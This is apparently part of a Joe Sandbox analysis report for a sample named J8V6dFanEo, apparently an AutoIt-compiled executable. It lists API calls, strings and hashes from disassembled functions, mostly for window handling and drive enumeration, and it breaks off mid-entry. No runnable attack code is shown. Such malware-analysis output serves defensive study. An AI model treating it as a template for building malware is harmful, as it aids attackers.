Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 49fde2b7238490de3d16a3f177236bc431ca7600b07804dd4fbc891be012040f
Instruction ID: 520d9673e843096c35f24dce5ed358630643dd01a346b4e91bf31482b32c5120
Opcode Fuzzy Hash: 49fde2b7238490de3d16a3f177236bc431ca7600b07804dd4fbc891be012040f
Instruction Fuzzy Hash: 90026D75900219EFDB14DFA4DD89EAE7BB9FF49720F148158F905AB2A1CB30AD01DB60

Function 00F4356B Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00F4F910), ref: 00F43627
IsWindowVisible.USER32(?), ref: 00F4364B

Strings

ADDSTRING, xrefs: 00F43716
GETCURRENTCOL, xrefs: 00F43928
ISCHECKED, xrefs: 00F43839
UNCHECK, xrefs: 00F43883
GETCURRENTLINE, xrefs: 00F438ED
ISENABLED, xrefs: 00F4366B
GETLINE, xrefs: 00F4399B
EDITPASTE, xrefs: 00F4395F
GETLINECOUNT, xrefs: 00F438C6
ISVISIBLE, xrefs: 00F43637
SETCURRENTSELECTION, xrefs: 00F437B6
TABLEFT, xrefs: 00F43687
SELECTSTRING, xrefs: 00F43806
GETCURRENTSELECTION, xrefs: 00F437E3
CURRENTTAB, xrefs: 00F436BD
GETSELECTED, xrefs: 00F438A3
TABRIGHT, xrefs: 00F4369D
FINDSTRING, xrefs: 00F43776
HIDEDROPDOWN, xrefs: 00F43700
SHOWDROPDOWN, xrefs: 00F436E0
CHECK, xrefs: 00F4386D
SENDCOMMANDID, xrefs: 00F439DA
DELSTRING, xrefs: 00F43749

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 33a64a659ef205bad7dd27aceb98fa58d24512bdb706a7bf9bfc553892af80f4
Instruction ID: b71a978dc54403d3795ee84fedab0dd59b6d50a3270a06fbb443407280951df0
Opcode Fuzzy Hash: 33a64a659ef205bad7dd27aceb98fa58d24512bdb706a7bf9bfc553892af80f4
Instruction Fuzzy Hash: 15D182312083059BCB04EF10C955E6E7BE1AF95354F154468FC896B3A3CB75EE8AEB42

Function 00F4A5DA Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00F4A630
GetSysColorBrush.USER32(0000000F), ref: 00F4A661
GetSysColor.USER32(0000000F), ref: 00F4A66D
SetBkColor.GDI32(?,000000FF), ref: 00F4A687
SelectObject.GDI32(?,00000000), ref: 00F4A696
InflateRect.USER32(?,000000FF,000000FF), ref: 00F4A6C1
GetSysColor.USER32(00000010), ref: 00F4A6C9
CreateSolidBrush.GDI32(00000000), ref: 00F4A6D0
FrameRect.USER32(?,?,00000000), ref: 00F4A6DF
DeleteObject.GDI32(00000000), ref: 00F4A6E6
InflateRect.USER32(?,000000FE,000000FE), ref: 00F4A731
FillRect.USER32(?,?,00000000), ref: 00F4A763
GetWindowLongW.USER32(?,000000F0), ref: 00F4A78E

Part of subcall function 00F4A8CA: GetSysColor.USER32(00000012), ref: 00F4A903
Part of subcall function 00F4A8CA: SetTextColor.GDI32(?,?), ref: 00F4A907
Part of subcall function 00F4A8CA: GetSysColorBrush.USER32(0000000F), ref: 00F4A91D
Part of subcall function 00F4A8CA: GetSysColor.USER32(0000000F), ref: 00F4A928
Part of subcall function 00F4A8CA: GetSysColor.USER32(00000011), ref: 00F4A945
Part of subcall function 00F4A8CA: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00F4A953
Part of subcall function 00F4A8CA: SelectObject.GDI32(?,00000000), ref: 00F4A964
Part of subcall function 00F4A8CA: SetBkColor.GDI32(?,00000000), ref: 00F4A96D
Part of subcall function 00F4A8CA: SelectObject.GDI32(?,?), ref: 00F4A97A
Part of subcall function 00F4A8CA: InflateRect.USER32(?,000000FF,000000FF), ref: 00F4A999
Part of subcall function 00F4A8CA: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00F4A9B0
Part of subcall function 00F4A8CA: GetWindowLongW.USER32(00000000,000000F0), ref: 00F4A9C5
Part of subcall function 00F4A8CA: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00F4A9ED

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: fcfc079e7b864f6e2e9ccfcfccdc36240a63ad4c39b082c40516bedd9289c6cc
Instruction ID: b346adef4dff313a506e4c6934392222f22b77287bd63b7e65d394c318654828
Opcode Fuzzy Hash: fcfc079e7b864f6e2e9ccfcfccdc36240a63ad4c39b082c40516bedd9289c6cc
Instruction Fuzzy Hash: B2919C76408309EFD7109F64DC08A5BBBA9FF8A331F140A29FD66D61A1D734D848EB52

Function 00EC2C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00EC2CA2
DeleteObject.GDI32(00000000), ref: 00EC2CE8
DeleteObject.GDI32(00000000), ref: 00EC2CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00EC2CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00EC2D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 00EFC43B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00EFC474
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00EFC89D

Part of subcall function 00EC1B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00EC2036,?,00000000,?,?,?,?,00EC16CB,00000000,?), ref: 00EC1B9A

SendMessageW.USER32(?,00001053), ref: 00EFC8DA
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00EFC8F1
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00EFC907
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00EFC912

Strings

0, xrefs: 00EFC731

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: cad9e7b6f9eaf7764681e617b42ada7d2b4e4438b09fa21f678b4629a4c4a091
Instruction ID: 9e90a44e5bfec231db9256d670fc39c2523437e455c9cf269fee2ddde4bd2a50
Opcode Fuzzy Hash: cad9e7b6f9eaf7764681e617b42ada7d2b4e4438b09fa21f678b4629a4c4a091
Instruction Fuzzy Hash: 4512AE30204209DFDB14CF24CA84FB9B7E1BF45304F64656DEA59EB262CB32E856DB91

Function 00F374AB Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00F374DE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00F3759D
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00F375DB
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00F375ED
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00F37633
GetClientRect.USER32(00000000,?), ref: 00F3763F
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00F37683
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00F37692
GetStockObject.GDI32(00000011), ref: 00F376A2
SelectObject.GDI32(00000000,00000000), ref: 00F376A6
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00F376B6
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00F376BF
DeleteDC.GDI32(00000000), ref: 00F376C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00F376F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 00F3770B
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00F37746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00F3775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 00F3776B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00F3779B
GetStockObject.GDI32(00000011), ref: 00F377A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00F377B1
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00F377BB

Strings

msctls_progress32, xrefs: 00F3773C
static, xrefs: 00F3767D, 00F37795
AutoIt v3, xrefs: 00F3762B
DISPLAY, xrefs: 00F37688

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 117924e3ce760041454972b2862fcf828d9d31f26196287261f55ae7d206caf7
Instruction ID: ee4e208fb366351705af334f243796f4e833f2ca94681c440b13924f29fca147
Opcode Fuzzy Hash: 117924e3ce760041454972b2862fcf828d9d31f26196287261f55ae7d206caf7
Instruction Fuzzy Hash: 95A180B5A40609BFEB14DBA4DD4AFAF7BB9EB09710F004114FA15A72E0CB70AD05DB64

Function 00F2AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00F2AD1E
GetDriveTypeW.KERNEL32(?,00F4FAC0,?,\\.\,00F4F910), ref: 00F2ADFB
SetErrorMode.KERNEL32(00000000,00F4FAC0,?,\\.\,00F4F910), ref: 00F2AF59

Strings

Fixed, xrefs: 00F2AE43
Fibre, xrefs: 00F2AEE9
iSCSI, xrefs: 00F2AEFE
Removable, xrefs: 00F2AE4D
SATA, xrefs: 00F2AF0C
SAS, xrefs: 00F2AF05
FileBackedVirtual, xrefs: 00F2AF28
PhysicalDrive, xrefs: 00F2ADA7
Network, xrefs: 00F2AE39
MMC, xrefs: 00F2AF1A
RAID, xrefs: 00F2AEF7
SSD, xrefs: 00F2AE86
1394, xrefs: 00F2AEDB
RAMDisk, xrefs: 00F2AE25
\\.\, xrefs: 00F2AD70
Unknown, xrefs: 00F2AE1B, 00F2AEBF
SSA, xrefs: 00F2AEE2
ATA, xrefs: 00F2AED4
USB, xrefs: 00F2AEF0
ATAPI, xrefs: 00F2AECD
CDROM, xrefs: 00F2AE2F
SCSI, xrefs: 00F2AEC6
Virtual, xrefs: 00F2AF21

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: de6f88f97389e11730f7fbca24e1cb2e535aa05c83de55d4ed00c3785362395e
Instruction ID: 02afdc6f97a26e6f85d5344f19dd73ad83300fa3d393c6c23c2fa43694da8d79
Opcode Fuzzy Hash: de6f88f97389e11730f7fbca24e1cb2e535aa05c83de55d4ed00c3785362395e
Instruction Fuzzy Hash: 0D5194B2A84215EBCB10DB14EA46EBD77A1EB48750720805BE40BB7291DA79DD43FB43

Function 00EC68DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00EC6931
__wcsnicmp.LIBCMT ref: 00EC6949
__wcsnicmp.LIBCMT ref: 00EC6961
__wcsnicmp.LIBCMT ref: 00EC6979
__wcsnicmp.LIBCMT ref: 00EC6991
__wcsnicmp.LIBCMT ref: 00EC69A9
__wcsnicmp.LIBCMT ref: 00EC69C1
__wcsnicmp.LIBCMT ref: 00EC69D5
__wcsnicmp.LIBCMT ref: 00EC6A16
__wcsnicmp.LIBCMT ref: 00EC6A2A
__wcsnicmp.LIBCMT ref: 00EC6A3E
__wcsnicmp.LIBCMT ref: 00EC6A52

Strings

#cs, xrefs: 00EC69CF, 00EC6A24
#comments-end, xrefs: 00EC6A38
Unterminated group of comments, xrefs: 00EFE403
#requireadmin, xrefs: 00EC695B
#ce, xrefs: 00EC6A4C
Cannot parse #include, xrefs: 00EFE3F0
#OnAutoItStartRegister, xrefs: 00EC6973
#notrayicon, xrefs: 00EC6943
Bad directive syntax error, xrefs: 00EFE31A
#comments-start, xrefs: 00EC69BB, 00EC6A10
#include-once, xrefs: 00EC698B
#include, xrefs: 00EC69A3
#pragma compile, xrefs: 00EC692B

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: b45a0765ebbcb49e3676e90a54a736261dc2ec6ff4bb0b6d56f1f1e514f43521
Instruction ID: db7cb28b2dca08fd6023da78115ecabaf9610017751fab2a17c013541bf6cb92
Opcode Fuzzy Hash: b45a0765ebbcb49e3676e90a54a736261dc2ec6ff4bb0b6d56f1f1e514f43521
Instruction Fuzzy Hash: 49811A716002096ACF10AE61DD47FBF3BA8EF45704F046029FD05BB192EB72EE46D651

Function 00F49A1C Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00F49AD2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00F49B8B
SendMessageW.USER32(?,00001102,00000002,?), ref: 00F49BA7

Strings

0, xrefs: 00F49BE4

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 514cd74ef75b017b74de47b18b7b9cc6d95c8b0f51bf48fe6cc1bfc650d529c7
Instruction ID: c9939e4c40123a9950f45305a04bb00bcf0bd6e6bc89fd077c3b6955726c8226
Opcode Fuzzy Hash: 514cd74ef75b017b74de47b18b7b9cc6d95c8b0f51bf48fe6cc1bfc650d529c7
Instruction Fuzzy Hash: 2802DE31608201AFD725CF14C888BABBFE4FF59324F04852DFD99962A1C7B5D948EB52

Function 00F4A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00F4A903
SetTextColor.GDI32(?,?), ref: 00F4A907
GetSysColorBrush.USER32(0000000F), ref: 00F4A91D
GetSysColor.USER32(0000000F), ref: 00F4A928
CreateSolidBrush.GDI32(?), ref: 00F4A92D
GetSysColor.USER32(00000011), ref: 00F4A945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00F4A953
SelectObject.GDI32(?,00000000), ref: 00F4A964
SetBkColor.GDI32(?,00000000), ref: 00F4A96D
SelectObject.GDI32(?,?), ref: 00F4A97A
InflateRect.USER32(?,000000FF,000000FF), ref: 00F4A999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00F4A9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 00F4A9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00F4A9ED
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00F4AA14
InflateRect.USER32(?,000000FD,000000FD), ref: 00F4AA32
DrawFocusRect.USER32(?,?), ref: 00F4AA3D
GetSysColor.USER32(00000011), ref: 00F4AA4B
SetTextColor.GDI32(?,00000000), ref: 00F4AA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00F4AA67
SelectObject.GDI32(?,00F4A5FA), ref: 00F4AA7E
DeleteObject.GDI32(?), ref: 00F4AA89
SelectObject.GDI32(?,?), ref: 00F4AA8F
DeleteObject.GDI32(?), ref: 00F4AA94
SetTextColor.GDI32(?,?), ref: 00F4AA9A
SetBkColor.GDI32(?,?), ref: 00F4AAA4

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: baf866f9ff53c7582ed69ced10abcba468effa45fc713d6015ef72a2b0a8617f
Instruction ID: caeca86ede2254d6a2064275d6bb8be35a8396a86d1349381bc3307482cbc1d7
Opcode Fuzzy Hash: baf866f9ff53c7582ed69ced10abcba468effa45fc713d6015ef72a2b0a8617f
Instruction Fuzzy Hash: 5E514A76900208FFDB109FA4DC48EAEBBB9EF49320F114225FD15AB2A1D7759944EF90

Function 00F489D5 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00F48AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00F48AD2
CharNextW.USER32(0000014E), ref: 00F48B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00F48B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00F48B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00F48B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00F48B86
SetWindowTextW.USER32(?,0000014E), ref: 00F48BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00F48BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 00F48C1F
_memset.LIBCMT ref: 00F48C44
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00F48C8D
_memset.LIBCMT ref: 00F48CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00F48D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 00F48D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 00F48E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 00F48E3D
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00F48E87
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00F48EB4
DrawMenuBar.USER32(?), ref: 00F48EC3
SetWindowTextW.USER32(?,0000014E), ref: 00F48EEB

Strings

0, xrefs: 00F48E55

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: be566a402ff0d00455287f33f7df1c2218f0244b7e4a68ac2f28fb11159b9064
Instruction ID: b69d9f1fab957a4e8e7ad67e38d562f46664a0aecb350023227b83b6b4d771a0
Opcode Fuzzy Hash: be566a402ff0d00455287f33f7df1c2218f0244b7e4a68ac2f28fb11159b9064
Instruction Fuzzy Hash: 78E18375901209AFDF209F50CC84EEE7FB9EF067A0F108156FE19AA190DB749985EF60

Function 00F4488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00F449CA
GetDesktopWindow.USER32 ref: 00F449DF
GetWindowRect.USER32(00000000), ref: 00F449E6
GetWindowLongW.USER32(?,000000F0), ref: 00F44A48
DestroyWindow.USER32(?), ref: 00F44A74
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00F44A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00F44ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00F44AE1
SendMessageW.USER32(?,00000421,?,?), ref: 00F44AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00F44B09
IsWindowVisible.USER32(?), ref: 00F44B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00F44B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00F44B58
GetWindowRect.USER32(?,?), ref: 00F44B70
MonitorFromPoint.USER32(?,?,00000002), ref: 00F44B96
GetMonitorInfoW.USER32(00000000,?), ref: 00F44BB0
CopyRect.USER32(?,?), ref: 00F44BC7
SendMessageW.USER32(?,00000412,00000000), ref: 00F44C32

Strings

tooltips_class32, xrefs: 00F44A96
0, xrefs: 00F44975
(, xrefs: 00F44BA3

Memory Dump Source

Source File: 00000000.00000002.1464726068.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1464703381.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464783793.0000000000F74000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464861666.0000000000F7E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1464894964.0000000000F87000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_J8V6dFanEo.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: daaf030d629a9f8d6e3b4a0b19750f974e3617ef45dc750fb2a79b3845d3aaef
Instruction ID: 181dab2ba034859f8dd8e5192a529d947ab9d1a56a6fea6f44837a39a432387c
Opcode Fuzzy Hash: daaf030d629a9f8d6e3b4a0b19750f974e3617ef45dc750fb2a79b3845d3aaef
Instruction Fuzzy Hash: A7B18C71604340AFDB04DF64C988B6ABBE4FF89710F00891CF999AB2A1DB75EC05DB55

Function 00F2449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00F244AC
